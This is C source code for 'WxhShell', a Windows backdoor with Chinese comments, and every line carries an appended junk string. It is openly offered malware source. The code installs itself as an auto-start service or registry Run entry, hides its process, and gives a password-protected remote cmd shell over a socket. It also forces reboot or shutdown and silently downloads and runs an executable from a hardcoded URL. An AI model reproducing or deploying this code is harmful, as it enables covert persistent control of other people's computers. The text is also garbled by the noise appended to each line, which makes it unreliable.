    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'nS>'yYH#  
    else { T 0qM "  
    closesocket(wsh); c axOxRo\  
    ExitThread(0); $pIo`F _W  
    } "ZL_  
    break; _gEojuaN  
    } 8|nc( $}~  
  // 获取shell Tz~a. h@  
  case 's': { Q!r&vQ/g  
    CmdShell(wsh); bYmk5fpRG  
    closesocket(wsh); &fsk ESV0  
    ExitThread(0); wD /jN:  
    break; +-T|ov<  
  } gtIEpYN+  
  // 退出 sm{/S*3  
  case 'x': { 7'gk=MQc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I%b5a`7  
    CloseIt(wsh); MdFFt:y:  
    break; /([a%,DI  
    } ^M\X/uq$E  
  // 离开 \}\# fg  
  case 'q': { O`I}Lg]~q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~~O4!|t  
    closesocket(wsh); ,fhF-%Q!g  
    WSACleanup(); `(DHa=s1  
    exit(1); mM~&mAa+Z  
    break; JmeE}:5lpj  
        } W*?qOq {  
  } 3dJiu  
  } )3O#T$h  
1]Cd fj6@  
  // 提示信息 z "z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mf !S'\  
} f@q.kD21  
  } v2a(yH  
 6@"E*-z$  
  return; =A~5?J=  
} 8kC$Z)  
Q`{Vs:8X  
// shell模块句柄 [e_<UF@A*  
int CmdShell(SOCKET sock) ?B@3A)a  
{ Gm &jlN  
STARTUPINFO si; O.Y|},F  
ZeroMemory(&si,sizeof(si)); Qn~{TZz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \y6Y}Cv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ko|M2\  
PROCESS_INFORMATION ProcessInfo; _v(5vx_ {  
char cmdline[]="cmd"; H/k]u)Gtv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y]^*mc0fE  
  return 0; eA{A3.f"Hz  
} 72/ bC  
-8vGvI>  
// 自身启动模式 m 2/S(f  
int StartFromService(void) Udf\;G@  
{ 9Z f  
typedef struct :hcOceNz  
{ .wUnN8crQ  
  DWORD ExitStatus; K:% MhH-  
  DWORD PebBaseAddress; auqN8_+=  
  DWORD AffinityMask; \t`VqJLyu  
  DWORD BasePriority; $5\!ws<cZ  
  ULONG UniqueProcessId; {=,G>p  
  ULONG InheritedFromUniqueProcessId; %_!0V*X*  
}   PROCESS_BASIC_INFORMATION; rP,|  
`t44.=%  
PROCNTQSIP NtQueryInformationProcess; ;#+I"Ow  
l>L?T#v!_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SL/'UoYm<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }_-tJ.  
X"mPRnE330  
  HANDLE             hProcess; W7(5z  
  PROCESS_BASIC_INFORMATION pbi; 6`%|-o :  
LpI4R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %%I:L~c  
  if(NULL == hInst ) return 0; bKsEXS  
`Y+ R9bd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >o%X;U 3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vbX.0f "n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +>AVxV=A#  
tOte[~,  
  if (!NtQueryInformationProcess) return 0; .gN ziDO  
UtC<TBr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y|i(~  
  if(!hProcess) return 0; r_FI5f  
u~ VXe  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MmU`i ,z  
8N$Xq\Da+>  
  CloseHandle(hProcess); d>T8V(Bb  
/;:4$2R(;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J_j4Zb% K  
if(hProcess==NULL) return 0; >e(@!\ x  
^UhqV"[7k  
HMODULE hMod; $FDGHFM  
char procName[255]; P #8+1iC1  
unsigned long cbNeeded; MRZN4<}9  
O2yD{i#l*#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7xY&7 x(v  
Z-pZyDz  
  CloseHandle(hProcess); 9~2iA,xs  
$ %|b6Gr/&  
if(strstr(procName,"services")) return 1; // 以服务启动 1HqN`])l/j  
C-@M|K9A'  
  return 0; // 注册表启动  _VM}]A  
} ;49sou  
m6H+4@Z-;(  
// 主模块 44t;#6p@%>  
int StartWxhshell(LPSTR lpCmdLine) \VI0/G)L  
{ lp5'-Jo  
  SOCKET wsl; k^cnNx  
BOOL val=TRUE; k_Sm ep  
  int port=0; 7q 5 \]J[  
  struct sockaddr_in door; ?)-anoFyVW  
U#sv.r/L}3  
  if(wscfg.ws_autoins) Install(); 69Z`mR  
7l09  
port=atoi(lpCmdLine); ^^24a_+2  
d_f*'M2Gv  
if(port<=0) port=wscfg.ws_port; 1K)9fMr]  
p%X.$0  
  WSADATA data; ,`'A"]"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wlh%{l  
qlg.\H:W~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DY/%|w*L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ()$m9%x  
  door.sin_family = AF_INET; [9}<N2,9z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,J<+Wxz  
  door.sin_port = htons(port); Sj*W|n\gj  
M0e&GR8<z>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kmlO}0  
closesocket(wsl); u[4h|*'"|  
return 1; [H9<JdUZ  
} xF YHv@g  
Xk:3w,  
  if(listen(wsl,2) == INVALID_SOCKET) { q$s)(D  
closesocket(wsl); \ f VX<L  
return 1; - K"L6m|  
} 6/p9ag]  
  Wxhshell(wsl); M?<iQxtyb}  
  WSACleanup(); .:B0(4Mj  
a3z_o)"   
return 0; jROh3kq  
X4Uy3TV>  
} _{}^]ZB  
ae2I,Qt%  
// 以NT服务方式启动 e5lJ)_o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gdh|X[d  
{ muBl~6_mb2  
DWORD   status = 0; pN)>c,  
  DWORD   specificError = 0xfffffff; .)1u0 (?  
/Tw $} 8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7 4(bo \  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qC=ZH#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z,@R jaX  
  serviceStatus.dwWin32ExitCode     = 0; VG$%Vs  
  serviceStatus.dwServiceSpecificExitCode = 0; Tc/<b2 \g  
  serviceStatus.dwCheckPoint       = 0; hh.`Yu L  
  serviceStatus.dwWaitHint       = 0; naeppBo  
B[f:T%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Wh"xt:  
  if (hServiceStatusHandle==0) return; M0)ZJti  
%+#l{\z  
status = GetLastError(); &sXk!!85:  
  if (status!=NO_ERROR) D$D;'Kij  
{ Pp4Q)2X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8Bxb~*  
    serviceStatus.dwCheckPoint       = 0; Q'j00/K  
    serviceStatus.dwWaitHint       = 0; 46 |LIc }  
    serviceStatus.dwWin32ExitCode     = status; =NPo<^Lae  
    serviceStatus.dwServiceSpecificExitCode = specificError; .\)ek[?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NID2$p  
    return; s(=@J?7As  
  } AvuGAlP  
p}K+4z   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gy#G;9p  
  serviceStatus.dwCheckPoint       = 0; _?bF;R  
  serviceStatus.dwWaitHint       = 0; EU Oa8Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YW8Odm  
} P8ns @VV  
`V*$pHo  
// 处理NT服务事件,比如:启动、停止 JiXN"s^mcb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =~dXP  
{ K8QEHc:  
switch(fdwControl) nA=E|$1  
{ v|jwz.jM  
case SERVICE_CONTROL_STOP: 9om}j  
  serviceStatus.dwWin32ExitCode = 0; k4^!"~<+0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S6_dmTV*  
  serviceStatus.dwCheckPoint   = 0; 0nR_I^  
  serviceStatus.dwWaitHint     = 0; <4;L& 3  
  { 5fp&!HnG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =#%Vs>G  
  } =jU#0FAO  
  return; fCv.$5  
case SERVICE_CONTROL_PAUSE: SuBUhzR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xP'"!d4^i  
  break; nv: VX{%  
case SERVICE_CONTROL_CONTINUE: h<!!r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <bywi2]z  
  break; =}F$r5]  
case SERVICE_CONTROL_INTERROGATE: qx?0]!x  
  break; e\*N Lj_(  
}; S3c%</'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /AUX7 m.8  
} ? 8S~R  
TLz>|gr  
// 标准应用程序主函数 id1gK(F8H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^X:g C9  
{ sHSg _/|  
5hlS2fn  
// 获取操作系统版本 N_VWA.JHt  
OsIsNt=GetOsVer(); @4]dv> Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #/hXcF  
IBh?vh  
  // 从命令行安装 )hfI,9I~  
  if(strpbrk(lpCmdLine,"iI")) Install(); &Z7NF|  
!Bhs8eGr3  
  // 下载执行文件 #[~f 6s9D  
if(wscfg.ws_downexe) { }SS~uQ;8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KFM)*Icg\8  
  WinExec(wscfg.ws_filenam,SW_HIDE); V%FWZn^  
} ]sB%j@G  
a7la CHI  
if(!OsIsNt) { :HH3=.qAp`  
// 如果时win9x,隐藏进程并且设置为注册表启动 j$z!kd+%  
HideProc(); (Lkcx06e  
StartWxhshell(lpCmdLine); mnq1WU;<  
} __-V_(/b,x  
else !L@a;L  
  if(StartFromService()) }>'1Qg  
  // 以服务方式启动 E*}1_,q)  
  StartServiceCtrlDispatcher(DispatchTable); C4eQ.ep  
else /nNrvMt v  
  // 普通方式启动 0?'v|5}  
  StartWxhshell(lpCmdLine); /f!ze|  
L:UPS&)  
return 0; Pbakw81!~  
} K5\;'.9M  
/)XN^Jwa;m  
2nB{oF-Z  
H+VjY MvK  
=========================================== 0NyM|  
hoZM;wC  
5?Rzyfwk|  
V<t!gT#&o!  
SD1M`PI  
~J|B  
" CVGQ<,KVW  
j\uPOn8k  
#include <stdio.h> p</V_BIW  
#include <string.h> ;PWx#v+vwF  
#include <windows.h> 1&utf0TX6q  
#include <winsock2.h> .J2tm2]"EZ  
#include <winsvc.h> DG 6W ^  
#include <urlmon.h> HP[M"u  
}(w9[(K  
#pragma comment (lib, "Ws2_32.lib") 7[YulC-pH  
#pragma comment (lib, "urlmon.lib") nztnU9OG  
p-2PC{% t|  
#define MAX_USER   100 // 最大客户端连接数 ]4)$dQ59  
#define BUF_SOCK   200 // sock buffer 3TNj*jo  
#define KEY_BUFF   255 // 输入 buffer #Dl=K<I  
'/<f'R^  
#define REBOOT     0   // 重启 Hni?r!8r  
#define SHUTDOWN   1   // 关机 _'U(q\ri  
s )7sgP  
#define DEF_PORT   5000 // 监听端口 ::p(ViYG  
 <4 D.H  
#define REG_LEN     16   // 注册表键长度 .2QZe8"  
#define SVC_LEN     80   // NT服务名长度 ) t$o0!  
k'-5&Q  
// 从dll定义API ^:^8M4:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aQL$?,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 80Z'1'u0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UO_tJN#X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7tU=5@M9D  
nT/Az g  
// wxhshell配置信息 Qjd<%!]+\  
struct WSCFG { /fC8jdp&  
  int ws_port;         // 监听端口 vQ1#Zg y  
  char ws_passstr[REG_LEN]; // 口令 :lp V  
  int ws_autoins;       // 安装标记, 1=yes 0=no p!H'JNG  
  char ws_regname[REG_LEN]; // 注册表键名 K&TO8   
  char ws_svcname[REG_LEN]; // 服务名 +y9WJ   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ag0)> PD^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DkeFDzQ5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E6s)J -a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DY8w\1g"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~cb7]^#u1l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "\l#q$1h  
asKAHVT(  
}; nlR7V.  
NrWgaPO)i  
// default Wxhshell configuration =4:]V\o):'  
struct WSCFG wscfg={DEF_PORT, ;.&k zzvJ  
    "xuhuanlingzhe", HkdBPMs79  
    1, ko`.nSZ-k  
    "Wxhshell", 'XW9+jj)/  
    "Wxhshell", e>!=)6[*  
            "WxhShell Service", p [7?0 (  
    "Wrsky Windows CmdShell Service", =~ [RG  
    "Please Input Your Password: ", {*AYhZ  
  1, ! ^TCe8  
  "http://www.wrsky.com/wxhshell.exe", tY!GJusd  
  "Wxhshell.exe" bTW# f$q:4  
    }; RKO}  W#?  
m-MfFEZ  
// 消息定义模块 "aJf W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q;0 g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3\0,>L9ET@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uxsi+vkI  
char *msg_ws_ext="\n\rExit."; L_Lhmtm}m  
char *msg_ws_end="\n\rQuit."; @agxu-Y  
char *msg_ws_boot="\n\rReboot..."; KU*XRZu)  
char *msg_ws_poff="\n\rShutdown..."; Q;y)6+VU4  
char *msg_ws_down="\n\rSave to "; 3u~V&jl  
%v, a3^Qu  
char *msg_ws_err="\n\rErr!"; $`6Q\=*R/  
char *msg_ws_ok="\n\rOK!"; 4s7&*dJ  
u/(~ew I  
char ExeFile[MAX_PATH]; &^(4yw(~  
int nUser = 0; X@H/"B%u2  
HANDLE handles[MAX_USER]; `tEW.s%Y(6  
int OsIsNt; ?[c{pb ,|  
F$te5 ` a  
SERVICE_STATUS       serviceStatus; 2dJP|T9H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7L$\S[E  
\,-e>  
// 函数声明 v&8s>~i`K  
int Install(void); #(G"ya  
int Uninstall(void); Oe"nNvu/  
int DownloadFile(char *sURL, SOCKET wsh); !6*m<#Qm  
int Boot(int flag); ['Y"6[1  
void HideProc(void); kKz>]t"A  
int GetOsVer(void); VhLS*YiSY  
int Wxhshell(SOCKET wsl); >h{)7Hv  
void TalkWithClient(void *cs); }}gtz-w  
int CmdShell(SOCKET sock); 4{CeV7  
int StartFromService(void); ^~JF7u  
int StartWxhshell(LPSTR lpCmdLine); L^x h5{  
w,eW?b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y>SpV_H%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w5* Z\t5  
7,"y!\  
// 数据结构和表定义 lAJ P X  
SERVICE_TABLE_ENTRY DispatchTable[] = 8M8Odz\3 q  
{ X|dlVNL8p  
{wscfg.ws_svcname, NTServiceMain}, NY"+Qw@$  
{NULL, NULL} < %{?Js  
}; ;2[o>73F  
hkl9 EVO)  
// 自我安装 rBZ0Fx$/[  
int Install(void) W}'l8z]   
{ Mew,g:m:  
  char svExeFile[MAX_PATH]; %Z+FX,AK  
  HKEY key; 3#N`n |UgC  
  strcpy(svExeFile,ExeFile); g+3_ $qIQ+  
A\ r}V-  
// 如果是win9x系统,修改注册表设为自启动 P`AW8Y6o  
if(!OsIsNt) { =2e{T J/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~' w]%rh!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fxknfgbg  
  RegCloseKey(key); UT_kw}1o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,ut7`_Fy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k c /"  
  RegCloseKey(key); >9<YQ(  
  return 0; iCtS<"@Yx  
    } i$lp8Y2ih  
  } 4)?s?+  
} RwUosh\W  
else { TW-^C ;  
N^4CA@'{  
// 如果是NT以上系统,安装为系统服务 xiOAj"}~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gubw&W  
if (schSCManager!=0) @ )Nw>/; o  
{ `wKd##v'@  
  SC_HANDLE schService = CreateService Af Y ]i  
  ( U3~rtc*  
  schSCManager, uSUog+i  
  wscfg.ws_svcname, C2H2*"  
  wscfg.ws_svcdisp, W#kd[Wi  
  SERVICE_ALL_ACCESS, @]7s`?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $g_|U:,  
  SERVICE_AUTO_START, oaG;i51!  
  SERVICE_ERROR_NORMAL, 5QP`2I_n  
  svExeFile, &[P(}??Y\  
  NULL, jwmPy)X|s\  
  NULL, TgA>(HcO  
  NULL, _o? I=UN2:  
  NULL, `t3w|%La}  
  NULL LjCUkbzQF  
  ); :QIf0*.O  
  if (schService!=0) Nr?CZFN#  
  { +<bvh<]Od  
  CloseServiceHandle(schService); ^Q9K]Vo  
  CloseServiceHandle(schSCManager); lf#5X)V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); = OzpI  
  strcat(svExeFile,wscfg.ws_svcname); r6vI6|1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~DP5Qi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IO7cRg'-F  
  RegCloseKey(key); ||Vx:(d7D&  
  return 0; Qt>Bvu Q  
    } $kccM& B  
  } )v\ A8)[  
  CloseServiceHandle(schSCManager); 'm0_pM1:D  
} y+h/jEbM</  
} Yf_/c*t\5  
-J>f,zA  
return 1; d)GR]^=r  
} 5E^P2Mlc  
(dwb{+HW  
// 自我卸载 RQU-]qQ8BM  
int Uninstall(void) !uP8powO  
{ pZKK7   
  HKEY key; !m8T< LtMl  
2=,d.1E3d  
if(!OsIsNt) { ;gLOd5*0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YmD~&J  
  RegDeleteValue(key,wscfg.ws_regname); M[cAfu  
  RegCloseKey(key); +V;d^&S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ki|OowP  
  RegDeleteValue(key,wscfg.ws_regname); (_AU)  
  RegCloseKey(key); 5Gm8U"UR  
  return 0; +wfZFJ:1l  
  } q"Sja!-;|  
} +mN8uU~(kx  
} NfZC}  
else { +xQj-r)-  
R)-~5"}~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >0?ph<h1[q  
if (schSCManager!=0) qv[w 1;U"  
{ GJ:oUi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2V*;=cv~z  
  if (schService!=0) 1n[wk'}qf4  
  { #vc!SI  
  if(DeleteService(schService)!=0) { M zF,is  
  CloseServiceHandle(schService); F~/~_9RJ  
  CloseServiceHandle(schSCManager); rpc;*t+z  
  return 0; F^&@[k7WW  
  } DABV}@K"  
  CloseServiceHandle(schService); BwAmNW&i  
  } {vk%&{D0)  
  CloseServiceHandle(schSCManager); N'0nt]&a  
} \H 5t-w=  
} 8%p+:6kP5  
),H1z`c&I  
return 1; E:;MI{;7  
} ~MP/[,j`  
EqOhzII^  
// 从指定url下载文件 loUZD=Ph  
int DownloadFile(char *sURL, SOCKET wsh) *VaQ\]:d  
{ +_jM$?:F}  
  HRESULT hr; 3Xy~ap>Y  
char seps[]= "/"; r@PVSH/  
char *token; ?;A\>sP  
char *file; GK1P7Qy?V  
char myURL[MAX_PATH]; =i6k[rg  
char myFILE[MAX_PATH]; OS1f}<  
_ Td#C1g3  
strcpy(myURL,sURL); j+e s  
  token=strtok(myURL,seps); NTSIClm}U  
  while(token!=NULL) qcge#S>  
  { ErFt5%FN.O  
    file=token; N*\r i0  
  token=strtok(NULL,seps); }?MbU6"  
  } +BE_t(%p"  
n4.\}%=z  
GetCurrentDirectory(MAX_PATH,myFILE); k%iwt]i%  
strcat(myFILE, "\\"); "whs?^/  
strcat(myFILE, file); fcy4?SQ.<i  
  send(wsh,myFILE,strlen(myFILE),0); /N,\st  
send(wsh,"...",3,0); [fY7|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5Q:%f  
  if(hr==S_OK) &da:{  
return 0; 'j!n   
else ]W5p\(1g  
return 1; A\v53AT  
dF5y' R'  
} |io)?`pj  
- Rx;"J.H  
// 系统电源模块 ^}`24~|y  
int Boot(int flag) B~b ='jN  
{ uMRzUK`QK  
  HANDLE hToken; 40z1Qkmaey  
  TOKEN_PRIVILEGES tkp; m -0EcA/  
#99=wn  
  if(OsIsNt) { rC_saHo>#R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wO6>jW 7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \7IT[<Se  
    tkp.PrivilegeCount = 1; (iIzoEpb8W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x:h)\%Dg<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n/e,jw  
if(flag==REBOOT) { $GHi9aj_P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FF0~i+5  
  return 0; Ul3xeu  
} 8L]Cc!~  
else { :B\ $7+$v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (Ffa{Tt!  
  return 0; wc\`2(  
} mHa~c(x  
  } -$49l  
  else { +|x%a2?x:  
if(flag==REBOOT) { L(9AcP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (*,R21<%  
  return 0; c= ?Tu  
} ux,eY  
else { U#<{RqY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F`,Hf Cb\  
  return 0; NiQ Y3Nj  
} [ $"  
} #K iqV6E  
K@Xj)  
return 1; lkC|g%f  
} |C5{[ z  
JY,oXA6O  
// win9x进程隐藏模块 FlY"OU*  
void HideProc(void) 2fNNdxdbT  
{ HrMbp  
EQX<<x"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "-j96 KD  
  if ( hKernel != NULL ) x(p/9$.#  
  { m\E=I5*/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `cIeqp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E,cQ9}/  
    FreeLibrary(hKernel); A,(9|#%L  
  } r;E5e]w*-  
V#R; -C  
return; ZI8@ 6L\  
} /!y;h-  
P# U|  
// 获取操作系统版本 lHHx D  
int GetOsVer(void) px(~ZZB"  
{ Lr(JnS  
  OSVERSIONINFO winfo; ="P FCxi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XqwP<5Z  
  GetVersionEx(&winfo); .F[5{XV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d/awQXKe7  
  return 1; 2izBB,# "  
  else M@p<L VP  
  return 0; ?6L8#"=  
} 9e}%2,  
!|z!e>0  
// 客户端句柄模块 `LKf$cx(A  
int Wxhshell(SOCKET wsl) ;%cW[*Dw  
{ 25r3[gX9`  
  SOCKET wsh; '@IReMl  
  struct sockaddr_in client; 2=%]Ax"R  
  DWORD myID; f hNJB0  
!89hO4 0r  
  while(nUser<MAX_USER) f9+6gY  
{ madbl0[y.  
  int nSize=sizeof(client); |34w<0Pc,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {xTh!ih2 -  
  if(wsh==INVALID_SOCKET) return 1; wF59g38[z$  
" RIt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !lA~;F  
if(handles[nUser]==0) *y$CDv  
  closesocket(wsh); B]mMwqM#  
else 3C'6i  
  nUser++; $vn)(zn+  
  } Bgp%hK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P{Q$(rOe  
Y"nz l]T  
  return 0; 5KIhk`S  
} n36iY'<)G  
"$ISun=8  
// 关闭 socket -Rr !J37  
void CloseIt(SOCKET wsh) V 'fri/Z  
{ 8Z)wot  
closesocket(wsh); ?crK613 t  
nUser--; l-x-  
ExitThread(0); |CQ0{1R1  
} ]86*k %A  
H\a\xCP3  
// 客户端请求句柄 :)kHXOb.  
void TalkWithClient(void *cs) $Il  
{ }wI +e Mr  
L>0Pur)[  
  SOCKET wsh=(SOCKET)cs; D G&aFmC  
  char pwd[SVC_LEN]; a=vH:D  
  char cmd[KEY_BUFF]; WGyPyG#Fl  
char chr[1]; Dd-a*6|x  
int i,j; Uv~|Xj4.  
mHJGpJ=a-  
  while (nUser < MAX_USER) { +rhBC V  
K}GR U)  
if(wscfg.ws_passstr) { Prc1U)nfo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /x_AWnU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @2hOy@V  
  //ZeroMemory(pwd,KEY_BUFF); }9!}T~NMs  
      i=0; yL -}E  
  while(i<SVC_LEN) { O`aNNy  
\MPbG$ ^  
  // 设置超时 Vl>KeZ+  
  fd_set FdRead; rfzzMV  
  struct timeval TimeOut; rhly.f7N=A  
  FD_ZERO(&FdRead); u g;~dhe~  
  FD_SET(wsh,&FdRead); {kb7u5-  
  TimeOut.tv_sec=8; (.L?sDQ</z  
  TimeOut.tv_usec=0; EB6X Yr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7@m+ y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }OTJ{eG  
z2!4w +2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %%)y4>I  
  pwd=chr[0]; x3.,zfWs  
  if(chr[0]==0xd || chr[0]==0xa) { j *;.>akY7  
  pwd=0; \~t!M~H  
  break; TmM~uc7mj  
  } %az6\"n  
  i++; G)_Zls2 ;  
    } 1KR4Wq@  
c~OvoTF,  
  // 如果是非法用户,关闭 socket @D `j   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H<P d&  
} hb %F"Q  
@O-\s q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &] xtx>qg<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )r)ZmS5O  
8#o2qQ2+  
while(1) { \w(0k^<7  
1?.NJ<)F  
  ZeroMemory(cmd,KEY_BUFF); {vZAOz7#  
u`Y~r<?P(  
      // 自动支持客户端 telnet标准   d\tY-X3  
  j=0; FV,aQ#  
  while(j<KEY_BUFF) { }7P[%(T5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p{ ``a=  
  cmd[j]=chr[0]; GCv1x->  
  if(chr[0]==0xa || chr[0]==0xd) { _>?.MUPB  
  cmd[j]=0; Q:T9&_|  
  break; n.R"n9v`  
  } cRNVqMpg  
  j++; 6o5,d]  
    } b*{UO  
$j v"$0Fc  
  // 下载文件 %Nob B  
  if(strstr(cmd,"http://")) { WN#2<XjG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XD_!5+\H1  
  if(DownloadFile(cmd,wsh)) T=@Ygjk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /W LZyT2  
  else \=&Z_6Mu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gi2Fjq/Y  
  }  3SPXJa\i  
  else { dxtG3  
_ sy]k A  
    switch(cmd[0]) { up0=Y o@  
  >g@@ yR,  
